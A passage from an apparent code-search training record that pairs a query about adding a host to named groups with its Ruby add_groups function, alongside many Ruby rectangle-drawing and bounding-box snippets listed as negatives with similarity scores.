bitmap\n end", "def Rect(x, y, w, h, style='')\n\t\t#Draw a rectangle\n\t\tif (style=='F')\n\t\t\top='f';\n\t\telsif (style=='FD' or style=='DF')\n\t\t\top='B';\n\t\telse\n\t\t\top='S';\n\t\tend\n\t\tout(sprintf('%.2f %.2f %.2f %.2f re %s', x * @k, (@h - y) * @k, w * @k, -h * @k, op));\n\tend", "def textRectangle\n orect = getRect();\n orect.width -= 25;\n return rect;\n end", "def basic_area_rect(index)\n rect = item_rect_for_text(index)\n rect.width -= gauge_area_width + 10\n rect\n end", "def render_rect loc\n {\n x: loc.col * state.cell_size,\n y: loc.row * state.cell_size,\n w: state.cell_size,\n h: state.cell_size,\n }\n end", "def get_rect_for_client i\n max_width=screen[:width_in_pixels]\n max_height=screen[:height_in_pixels]\n \n cx = max_width * 0.5\n cy = max_height * 0.5\n \n pad_x = 20\n pad_y = 40\n \n yr = 0.5 * (max_height - pad_y - inactive_client_height)\n xr = 0.5 * (max_width - pad_x - inactive_client_width)\n \n position = (get_placement_angle() * i)\n if position >= 360\n i = (position - 360 - get_placement_angle) / get_placement_angle()\n position = (get_placement_angle() + 8) * i\n if position >= 360-8\n i = (position - 360 - 8 - get_placement_angle) / get_placement_angle() \n position = (get_placement_angle() + 16) * i\n end\n end\n \n a = position * (Math::PI / 180.0)\n \n x = cx + xr * Math.cos(a)\n y = cy + yr * Math.sin(a)\n \n x,y = center_on(x,y,inactive_client_width,inactive_client_height)\n \n return x,y,inactive_client_width,inactive_client_height\n end", "def bounds\n CGRect.new(attribute(:position), attribute(:size))\n end", "def bounds\n { x: @attrs[:x] + @attrs[:width], y: @attrs[:y] + @attrs[:height] }\n end", "def drawrect(*)\n super\n end", "def render_rectangle(rectangle)\n raise NotImplementedError\n end", "def determine_rects(rect, spacing, right_pad)\n rects = []\n \n # Rects Initialization\n rects[0] = [Rect.new(rect.x,rect.y,90,24),\n Rect.new(rect.x,rect.y,100,24)]\n rects[1] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[2] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[3] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[4] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[5] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[6] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[7] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[8] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[9] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[10] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[11] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n \n gauge_value_width = rect.width - 24 - 25 - right_pad\n stats_value_width = rect.width - 24 - 50 - right_pad\n gauge_y = 16\n \n # Rects Adjustments\n \n # ucActStates\n rects[0][1].x += rects[0][0].width\n \n # ucHpStat\n rects[1][0].y += spacing\n rects[1][1].x += rects[1][0].width\n rects[1][1].y = rects[1][0].y\n rects[1][2].x = rects[1][1].x + rects[1][1].width\n rects[1][2].y = rects[1][0].y\n rects[1][2].width = gauge_value_width\n \n # cHpStatGauge\n rects[2].y += rects[1][0].y+gauge_y\n rects[2].height = rects[1][0].height-gauge_y\n \n # ucMpStat\n rects[3][0].y += spacing*2\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n rects[3][2].x = rects[3][1].x + rects[3][1].width\n rects[3][2].y = rects[3][0].y\n rects[3][2].width = gauge_value_width\n \n # cMpStatGauge\n rects[4].y += rects[3][0].y+gauge_y\n rects[4].height = rects[3][0].height-gauge_y\n \n # ucAtkStat\n rects[5][0].y += spacing*3\n rects[5][1].x += rects[5][0].width\n rects[5][1].y = rects[5][0].y\n rects[5][2].x = rects[5][1].x + rects[5][1].width\n rects[5][2].y = rects[5][0].y\n rects[5][2].width = stats_value_width\n \n # ucDefStat\n rects[6][0].y += spacing*4\n rects[6][1].x += rects[6][0].width\n rects[6][1].y = rects[6][0].y\n rects[6][2].x = rects[6][1].x + rects[6][1].width\n rects[6][2].y = rects[6][0].y\n rects[6][2].width = stats_value_width\n \n # ucSpiStat\n rects[7][0].y += spacing*5\n rects[7][1].x += rects[7][0].width\n rects[7][1].y = rects[7][0].y\n rects[7][2].x = rects[7][1].x + rects[7][1].width\n rects[7][2].y = rects[7][0].y\n rects[7][2].width = stats_value_width\n \n # ucAgiStat\n rects[8][0].y += spacing*6\n rects[8][1].x += rects[8][0].width\n rects[8][1].y = rects[8][0].y\n rects[8][2].x = rects[8][1].x + rects[8][1].width\n rects[8][2].y = rects[8][0].y\n rects[8][2].width = stats_value_width\n \n # ucEvaStat\n rects[9][0].y += spacing*7\n rects[9][1].x += rects[9][0].width\n rects[9][1].y = rects[9][0].y\n rects[9][2].x = rects[9][1].x + rects[9][1].width\n rects[9][2].y = rects[9][0].y\n rects[9][2].width = stats_value_width\n \n # ucHitStat\n rects[10][0].y += spacing*8\n rects[10][1].x += rects[10][0].width\n rects[10][1].y = rects[10][0].y\n rects[10][2].x = rects[10][1].x + rects[10][1].width\n rects[10][2].y = rects[10][0].y\n rects[10][2].width = stats_value_width\n \n # ucCriStat\n rects[11][0].y += spacing*9\n rects[11][1].x += rects[11][0].width\n rects[11][1].y = rects[11][0].y\n rects[11][2].x = rects[11][1].x + rects[11][1].width\n rects[11][2].y = rects[11][0].y\n rects[11][2].width = stats_value_width\n \n return rects\n end", "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[1] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n \n value_width = ((rect.width - rects[0][0].width - rects[0][1].width - rects[1][0].width - spacing)/2).floor\n \n # Rects Adjustments\n \n # ucStat\n rects[0][1].x += rects[0][0].width\n rects[0][2].x = rects[0][1].x + rects[0][1].width\n rects[0][2].width = value_width\n \n # ucCompareStat\n rects[1][0].x = rects[0][2].x + rects[0][2].width + spacing\n rects[1][1].x = rects[1][0].x + rects[1][0].width\n rects[1][1].width = value_width\n \n return rects\n end", "def bounds\n bounds_dependencies = [absolute_x, absolute_y, calculated_width, calculated_height]\n if bounds_dependencies != @bounds_dependencies\n # avoid repeating calculations\n absolute_x, absolute_y, calculated_width, calculated_height = @bounds_dependencies = bounds_dependencies\n @bounds = org.eclipse.swt.graphics.Rectangle.new(absolute_x, absolute_y, calculated_width, calculated_height)\n end\n @bounds\n end", "def rect x, y, w, h, c, fill = false\n screen.draw_rect x, self.h-y-h, w, h, color[c], fill\n end", "def determine_rects(rect, spacing, right_pad)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,100,24)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[2] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[3] = [Rect.new(rect.x,rect.y,rect.width,18),\n Rect.new(rect.x,rect.y,18,18)]\n rects[4] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[5] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[6] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[7] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[8] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[9] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n \n gauge_value_width = rect.width - right_pad\n gauge_y = 16\n \n # Rects Adjustments\n \n # ucActStates\n rects[0].x += ((rect.width - rects[0].width) / 2).floor\n rects[0].y += spacing*3\n \n # cCharImage\n rects[1].height -= spacing*3\n \n # cCharName\n # Nothing to do\n \n # ucCharLvl\n rects[3][0].y += spacing\n rects[3][0].width -= rects[3][1].width\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n \n # ucHpStat \n rects[4][0].y += rect.height - spacing*4\n rects[4][1].x += rects[4][0].width\n rects[4][1].y = rects[4][0].y\n rects[4][2].y = rects[4][0].y + spacing\n rects[4][2].width = gauge_value_width\n \n # cHpStatGauge\n rects[5].y = rects[4][0].y+gauge_y\n rects[5].height = rects[4][0].height-gauge_y\n \n # ucMpStat\n rects[6][0].y += rect.height - spacing*2\n rects[6][1].x += rects[6][0].width\n rects[6][1].y = rects[6][0].y\n rects[6][2].y = rects[6][0].y + spacing\n rects[6][2].width = gauge_value_width\n \n # cMpStatGauge\n rects[7].y = rects[6][0].y+gauge_y\n rects[7].height = rects[6][0].height-gauge_y\n \n # ucExpStat\n rects[8][0].y += spacing\n rects[8][1].x += rects[8][0].width\n rects[8][1].y = rects[8][0].y\n rects[8][2].y = rects[8][0].y + spacing\n rects[8][2].width = gauge_value_width\n \n # cExpGauge\n rects[9].y = rects[8][0].y+gauge_y\n rects[9].height = rects[8][0].height-gauge_y\n \n return rects\n end", "def bound_in_rect(rect)\n result = rect\n if rect.x < 0\n result.width = rect.width - rect.x\n result.x = 0\n end\n if rect.y < 0\n result.height = result.height - rect.y\n result.y = 0\n end\n if rect.width > xsize\n result.width = xsize\n end\n if rect.height > ysize\n result.height = ysize\n end\n return result\n end", "def determine_rects(rect, spacing, right_pad)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,96,96)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[2] = [Rect.new(rect.x,rect.y,rect.width,18),\n Rect.new(rect.x,rect.y,18,18)]\n rects[3] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[4] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[5] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[6] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n \n gauge_value_width = rect.width - right_pad\n gauge_y = 16\n \n # Rects Adjustments\n \n # ucCharFace\n rects[0].x += ((rect.width - rects[0].width) / 2).floor\n rects[0].y += spacing*2\n \n # cCharName\n # Nothing to do\n \n # ucCharLvl\n rects[2][0].y += spacing\n rects[2][0].width -= rects[2][1].width\n rects[2][1].x += (rects[2][0].width / 2).floor + rects[2][1].width\n rects[2][1].y = rects[2][0].y\n \n # ucHpStat \n rects[3][0].y += rect.height - spacing*4\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n rects[3][2].y = rects[3][0].y + spacing\n rects[3][2].width = gauge_value_width\n \n # cHpStatGauge\n rects[4].y = rects[3][0].y+gauge_y\n rects[4].height = rects[3][0].height-gauge_y\n\n # ucMpStat\n rects[5][0].y += rect.height - spacing*2\n rects[5][1].x += rects[5][0].width\n rects[5][1].y = rects[5][0].y\n rects[5][2].y = rects[5][0].y + spacing\n rects[5][2].width = gauge_value_width\n \n # cMpStatGauge\n rects[6].y = rects[5][0].y+gauge_y\n rects[6].height = rects[5][0].height-gauge_y\n \n return rects\n end", "def determine_rects(rect, spacing, right_pad)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,96,96)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[2] = [Rect.new(rect.x,rect.y,rect.width,18),\n Rect.new(rect.x,rect.y,18,18)]\n rects[3] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[4] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n rects[5] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,25,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[6] = Rect.new(rect.x,rect.y,rect.width,rect.height)\n \n gauge_value_width = rect.width - right_pad\n gauge_y = 16\n \n # Rects Adjustments\n \n # ucCharFace\n rects[0].x += ((rect.width - rects[0].width) / 2).floor\n rects[0].y += spacing*2\n \n # cCharName\n # Nothing to do\n \n # ucCharLvl\n rects[2][0].y += spacing\n rects[2][0].width -= rects[2][1].width\n rects[2][1].x += (rects[2][0].width / 2).floor + rects[2][1].width\n rects[2][1].y = rects[2][0].y\n \n # ucHpStat \n rects[3][0].y += rect.height - spacing*4\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n rects[3][2].y = rects[3][0].y + spacing\n rects[3][2].width = gauge_value_width\n \n # cHpStatGauge\n rects[4].y = rects[3][0].y+gauge_y\n rects[4].height = rects[3][0].height-gauge_y\n\n # ucMpStat\n rects[5][0].y += rect.height - spacing*2\n rects[5][1].x += rects[5][0].width\n rects[5][1].y = rects[5][0].y\n rects[5][2].y = rects[5][0].y + spacing\n rects[5][2].width = gauge_value_width\n \n # cMpStatGauge\n rects[6].y = rects[5][0].y+gauge_y\n rects[6].height = rects[5][0].height-gauge_y\n \n return rects\n end", "def draw_rect_outline(x, y, w, h, colour)\n # Horizontal Lines\n contents.fill_rect(x, y, w, 2, colour)\n contents.fill_rect(x, y + h - 2, w, 2, colour)\n # Vertical Lines\n contents.fill_rect(x, y, 2, h, colour)\n contents.fill_rect(x + w - 2, y, 2, h, colour)\n end", "def to_rect\n CGRectMake(*self[0,4])\n end", "def bounding_box\n Rectangle[position, Point[@image.width, @image.height]]\n end", "def bounding_box \r\n if @cached_bounding_box\r\n @cached_bounding_box.x = self.x + @_x_diff\r\n @cached_bounding_box.y = self.y + @_y_diff\r\n \r\n return @cached_bounding_box\r\n end\r\n \r\n width, height = self.size\r\n \r\n if scale = trait_options[:bounding_box][:scale]\r\n width_scale, height_scale = scale.is_a?(Array) ? [scale[0],scale[1]] : [scale,scale]\r\n width *= width_scale\r\n height *= height_scale\r\n end\r\n \r\n x = self.x - width * self.center_x\r\n y = self.y - height * self.center_y\r\n x += width * CENTER_TO_FACTOR[self.center_x] if self.factor_x < 0\r\n y += height * CENTER_TO_FACTOR[self.center_y] if self.factor_y < 0\r\n\r\n return Rect.new(x, y, width, height)\r\n end", "def drawRectangle(x,y,w,h,fillp=false,color=\"black\")\n @device.drawRectangle(x,y,w,h,fillp,color) ;\n end", "def command_rect(index = 0)\n r_width = contents_width / columns\n r_height = contents_height\n x = r_width * index\n y = 0\n Rect.new(x, y, r_width, r_height)\n end", "def outer_height; rect.height + @border_thickness * 2; end", "def rect(x, y, width, height, options = {})\n options = RECT_OPTIONS.merge(options)\n\n \"<rect x=\\\"#{x}\\\" y=\\\"#{y}\\\" width=\\\"#{width}\\\" height=\\\"#{height}\\\" \n style=\\\"fill:#{options[:fill]};stroke:#{options[:stroke]};\n stroke-width:#{options[:stroke_width]};\n fill-opacity:#{options[:fill_opacity]};\n stroke-opacity:#{options[:stroke_opacity]};\n stroke-dasharray:#{options[:dasharray]}\\\"/>\"\n end", "def rect(id)\n\t\tpoints = Points.new\n\t\t\n\t\tif rect = @doc.at(\"//g rect[@id='#{id.to_s}']\")\n\t\t\t#\n\t\t\t# Generate all the points in a rectangle\n\t\t\t#\n\t\t\ttop_left = [rect[:x].to_f, rect[:y].to_f]\n\t\t\ttop_right = [rect[:x].to_f + rect[:width].to_f, rect[:y].to_f ]\n\t\t\tbottom_right = [rect[:x].to_f + rect[:width].to_f, rect[:y].to_f + rect[:height].to_f ]\n\t\t\tbottom_left = [rect[:x].to_f, rect[:y].to_f + rect[:height].to_f ]\n\t\t\t\n\t\t\tpoints << top_left\n\t\t\tpoints << bottom_left\n\t\t\tpoints << bottom_right\n\t\t\tpoints << top_right\n\t\tend\t\t\n\t\t@rects[id.to_sym] = points\n\tend", "def gauge_area_rect(index)\n rect = item_rect_for_text(index)\n rect.x += rect.width - gauge_area_width\n rect.width = gauge_area_width\n rect\n end", "def area; rect size; end", "def item_rect_for_text(index)\n rect = item_rect(index)\n rect.x += 40\n rect.width -= 80\n rect\n end", "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,80,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[1] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,80,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[2] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,80,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[3] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n rects[4] = [Rect.new(rect.x,rect.y,24,24),\n Rect.new(rect.x,rect.y,50,24),\n Rect.new(rect.x,rect.y,rect.width,24)]\n \n # Rects Adjustments\n \n # ucEncounters\n rects[0][1].x += rects[0][0].width\n rects[0][2].x = rects[0][1].x + rects[0][1].width\n rects[0][2].width = rect.width - rects[0][0].width - rects[0][1].width\n \n # ucDefeated\n rects[1][0].y += spacing\n rects[1][1].x += rects[1][0].width\n rects[1][1].y = rects[1][0].y\n rects[1][2].x = rects[1][1].x + rects[1][1].width\n rects[1][2].y = rects[1][0].y\n rects[1][2].width = rect.width - rects[1][0].width - rects[1][1].width\n \n # ucEscaped\n rects[2][0].y += spacing*2\n rects[2][1].x += rects[2][0].width\n rects[2][1].y = rects[2][0].y\n rects[2][2].x = rects[2][1].x + rects[2][1].width\n rects[2][2].y = rects[2][0].y\n rects[2][2].width = rect.width - rects[2][0].width - rects[2][1].width\n \n # ucExp\n rects[3][0].y += spacing*3\n rects[3][1].x += rects[3][0].width\n rects[3][1].y = rects[3][0].y\n rects[3][2].x = rects[3][1].x + rects[3][1].width\n rects[3][2].y = rects[3][0].y\n rects[3][2].width = rect.width - rects[3][0].width - rects[3][1].width\n \n # ucGold\n rects[4][0].y += spacing*4\n rects[4][1].x += rects[4][0].width\n rects[4][1].y = rects[4][0].y\n rects[4][2].x = rects[4][1].x + rects[4][1].width\n rects[4][2].y = rects[4][0].y\n rects[4][2].width = rect.width - rects[4][0].width - rects[4][1].width\n \n return rects\n end", "def rect(x, y, width, height, rgb, fill=true)\n rect_rounded(x, y, width, height, rgb, 0, 0, fill)\n end", "def geometry\n rect = Window.buffer(4 * 4)\n GetWindowRect.call(@handle, rect)\n left, top, right, bottom = rect.unpack('LLLL')\n\n # From GetWindowRect documentation: \"In conformance with conventions for\n # the RECT structure, the bottom-right coordinates of the returned rectangle\n # are exclusive. In other words, the pixel at (right, bottom) lies immediately\n # outside the rectangle.\" Because of this, we decrement to determine the\n # inclusive coordinates.\n right -= 1\n bottom -= 1\n \n return Rect.new(left, top, right, bottom)\n end", "def point_to_rect_tech_demo\n x = 460\n\n outputs.labels << small_label(x, 15, \"Click inside the blue box maybe ---->\")\n\n box = [765, 370, 50, 50, 0, 0, 170] # blue box\n outputs.borders << box\n\n if state.last_mouse_click # if the mouse was clicked\n if state.last_mouse_click.point.inside_rect? box # if mouse clicked inside box\n outputs.labels << small_label(x, 16, \"Mouse click happened inside the box.\")\n else # otherwise, if mouse was clicked outside the box\n outputs.labels << small_label(x, 16, \"Mouse click happened outside the box.\")\n end\n else # otherwise, if was not clicked at all\n outputs.labels << small_label(x, 16, \"Mouse click has not occurred yet.\") # output if the mouse was not clicked\n end\n\n # border around mouse input demo section\n outputs.borders << [455, row_to_px(14), 360, row_to_px(11).shift_up(5) - row_to_px(14)]\n end", "def rect(x=0, y=0, w=20, h=20, reg=@registration)\n # center the rectangle\n if (reg == :center)\n x = x - w / 2\n y = y - h / 2\n end\n CGContextAddRect(@ctx, NSMakeRect(x, y, w, h))\n CGContextDrawPath(@ctx, KCGPathFillStroke)\n end", "def bounding_box\r\n end", "def determine_rects(rect, spacing)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[2] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[3] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[4] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[5] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[6] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[7] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[8] = Rect.new(rect.x,rect.y,rect.width,24)\n \n # Rects Adjustments\n \n # ucHpCompareStat\n # Nothing to do\n \n # ucMpCompareStat\n rects[1].y += spacing\n \n # ucAtkCompareStat\n rects[2].y += spacing*2\n \n # ucDefCompareStat\n rects[3].y += spacing*3\n \n # ucSpiCompareStat\n rects[4].y += spacing*4\n \n # ucAgiCompareStat\n rects[5].y += spacing*5\n \n # ucEvaCompareStat\n rects[6].y += spacing*6\n \n # ucHitCompareStat\n rects[7].y += spacing*7\n \n # ucCriCompareStat\n rects[8].y += spacing*8\n \n return rects\n end", "def drawRectangle _obj, _args\n \"_obj drawRectangle _args;\" \n end", "def bounds\n @bounding_box\n end", "def rect x, y, w, h, c, fill = false\n screen.draw_rect x, y, w, h, color[c], fill\n end", "def client_world_rectangle\n @automation_client_world_rect\n end", "def rectangleArea(h, w)\r\n h * w\r\nend", "def window_rect\n manage.window.rect\n end", "def window_rect\n manage.window.rect\n end", "def window_rect\n manage.window.rect\n end", "def bounding_rectangle(string, angle = 0.0)\n data = draw(nil, 0, 0, angle, string, 0)\n\n #if string.length == 1\n # # gd annoyingly fails to provide xshow data for strings of length 1\n # position = draw(nil, 0, 0, angle, string + ' ', 0)[:position]\n # data[:position] = position[0...-1]\n #end\n\n data\n end", "def draw_rect(x,y,w,h,c)\n self.draw_quad(x,y,c,x+w,y,c,x,y+h,c,x+w,y+h,c)\n end", "def scrollable_rect\n Rect.new(0, 0, self.width * 32, self.height * 32)\n end", "def height\n return self.rect.height\n end", "def window_rect\n buffer = [0,0,0,0].pack('l4')\n GetWindowRect.(handle, buffer)\n return Rect.new(*buffer.unpack('l4'))\n end", "def determine_rects(rect)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,20)\n rects[2] = Rect.new(rect.x,rect.y,rect.width,20)\n rects[3] = Rect.new(rect.x,rect.y,rect.width,20)\n \n # Rects Adjustments\n \n # cVolumeLabel\n rects[0].width = (rect.width/3).floor\n \n # ucVolumeBar\n rects[1].x += rects[0].width\n rects[1].y += ((rect.height - rects[1].height)/2).floor\n rects[1].width -= rects[0].width\n \n # cMuteLabel\n rects[2].x += rects[0].width\n rects[2].y = rects[1].y\n rects[2].width = rects[1].width\n \n # cVolumeValue\n rects[3].x += rects[0].width\n rects[3].y = rects[1].y\n rects[3].width = rects[1].width\n \n return rects\n end", "def determine_rects(rect)\n rects = []\n \n # Rects Initialization\n rects[0] = Rect.new(rect.x,rect.y,rect.width,24)\n rects[1] = Rect.new(rect.x,rect.y,rect.width,20)\n rects[2] = Rect.new(rect.x,rect.y,rect.width,20)\n rects[3] = Rect.new(rect.x,rect.y,rect.width,20)\n \n # Rects Adjustments\n \n # cVolumeLabel\n rects[0].width = (rect.width/3).floor\n \n # ucVolumeBar\n rects[1].x += rects[0].width\n rects[1].y += ((rect.height - rects[1].height)/2).floor\n rects[1].width -= rects[0].width\n \n # cMuteLabel\n rects[2].x += rects[0].width\n rects[2].y = rects[1].y\n rects[2].width = rects[1].width\n \n # cVolumeValue\n rects[3].x += rects[0].width\n rects[3].y = rects[1].y\n rects[3].width = rects[1].width\n \n return rects\n end", "def fillrect(*)\n super\n end", "def draw_rectangle(x1, y1, x2, y2, stroke = {}, fill = {})\n @svg_dp.draw_rectangle(x1, y1, x2, y2, stroke, fill)\n\n # Return self to support the builder pattern\n self\n end", "def build_rect(x, y, height, width, fill, doc)\n rect = Nokogiri::XML::Node.new \"rect\", doc\n rect[\"x\"] = x.to_s\n rect[\"y\"] = y.to_s\n rect[\"height\"] = height.to_s\n rect[\"width\"] = width.to_s\n rect[\"fill\"] = fill\n rect\n end", "def ListView_GetSubItemRect(hwnd, iItem, iSubItem, code, prc)\n prc = if prc\n prc.top = iSubItem\n prc.left = code\n prc\n else\n FFI::Pointer::NULL\n end\n send_listview_message(hwnd, :GETSUBITEMRECT, wparam: iItem, lparam: prc)\n end", "def get_active_rect\n x = screen[:width_in_pixels] * 0.5\n y = screen[:height_in_pixels] * 0.5 \n \n x,y = center_on(x,y,active_client_width,active_client_height)\n \n return x,y,active_client_width,active_client_height\n end", "def rectype\n part.rectype if part\n end", "def rectangle?()\n return @type == \"rectangle\"\n end", "def rect x, y\n [x * sprite_width, y * sprites_per_row, sprite_width, sprite_height]\n end", "def area_of_rect(l, w)\n return l * w\nend", "def rectangle\n return @rectangle if @rectangle\n\n # Assume that the focal vector is Vector[0, 0, @focus.r]\n assumed = Vector[0, 0, @focus.r]\n @rectangle = [\n Vector[-@width/2, @height/2, @focus.r],\n Vector[ @width/2, @height/2, @focus.r],\n Vector[ @width/2, -@height/2, @focus.r],\n Vector[-@width/2, -@height/2, @focus.r]\n ]\n\n # Rotate assumed to @focus\n normal = assumed.cross_product(@focus)\n if normal.r < EPSILON # assumed and @focus lie on a same line\n normal = Vector[1, 0, 0] # The camera is not rolled\n end\n angle = assumed.angle(@focus)\n @rectangle = @rectangle.map { |v| v.rotate!(normal, angle) } if normal.r > EPSILON && angle > EPSILON\n\n # Translate\n @rectangle = @rectangle.map { |v| v + @position }\n\n @rectangle\n end", "def split\n sw = (w / 2.0).round\n sh = (h / 2.0).round\n return Rect.new(x, y, sw, sh),\n Rect.new(x + sw, y, sw, sh),\n Rect.new(x, y + sh, sw, sh),\n Rect.new(x + sw, y + sh, sw, sh)\n end", "def screen_rect\n s = self.screen\n return Rubygame::Rect.new(0,0,s.w,s.h)\n end", "def rect_of_size(size)\n CGRect.new([self.x, self.y], size)\n end", "def outer_width; rect.width + @border_thickness * 2; end", "def get_bounds\n # Go throug all blocks to find the bounds of this shape\n x_min = []\n y_min = []\n x_max = []\n y_max = []\n @blocks.each do |block| \n x_min << block.x\n y_min << block.y\n \n x_max << block.x + block.width\n y_max << block.y + block.height\n end\n\n return [x_min.min, y_min.min, x_max.max, y_max.max]\n end", "def rectangular\n [re, im]\n end" ]
[ "0.7512527", "0.7510462", "0.745555", "0.73782283", "0.7280172", "0.72232157", "0.7199935", "0.7195995", "0.71135795", "0.70872366", "0.70727074", "0.70727074", "0.7042665", "0.70147604", "0.70147604", "0.69928795", "0.6975363", "0.69383496", "0.68464637", "0.6835249", "0.6806782", "0.6791352", "0.67364943", "0.67364943", "0.6703057", "0.66894144", "0.6672472", "0.6633022", "0.6606526", "0.6606526", "0.6572766", "0.6540379", "0.653683", "0.6514892", "0.65104705", "0.6499617", "0.64954376", "0.6469747", "0.6446161", "0.6441043", "0.64300764", "0.64286387", "0.6416982", "0.64032686", "0.6386335", "0.6380062", "0.6373945", "0.6373352", "0.63679296", "0.63679296", "0.6366002", "0.6346425", "0.6338858", "0.633664", "0.6332961", "0.63214064", "0.63199514", "0.6311292", "0.63037944", "0.6302853", "0.62876284", "0.626329", "0.6249082", "0.6244862", "0.6241575", "0.6236472", "0.62321675", "0.6220922", "0.61964625", "0.61666024", "0.615298", "0.6136238", "0.6134089", "0.6106467", "0.6093968", "0.6093968", "0.6093968", "0.60832256", "0.60667676", "0.6066128", "0.60575855", "0.6049066", "0.6044589", "0.604438", "0.6042355", "0.6013171", "0.60129505", "0.60092163", "0.6006137", "0.59929055", "0.5989371", "0.5972762", "0.5969582", "0.5966347", "0.5957266", "0.59554315", "0.595284", "0.5941678", "0.59349525", "0.5928916" ]
0.73694324
4
Add host in the specified groups. ==== Attributes +host+ Hostname +groups+ Groups to assign ==== Examples add_groups('pa2web01', ['local', 'web']) add_groups('pa2sql01', ['local', 'mysql', 'heartbeat'])
def add_groups(host, groups=[]) for group in groups if !GROUPS.key?(group) then GROUPS[group] = [] end GROUPS[group].push(host) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
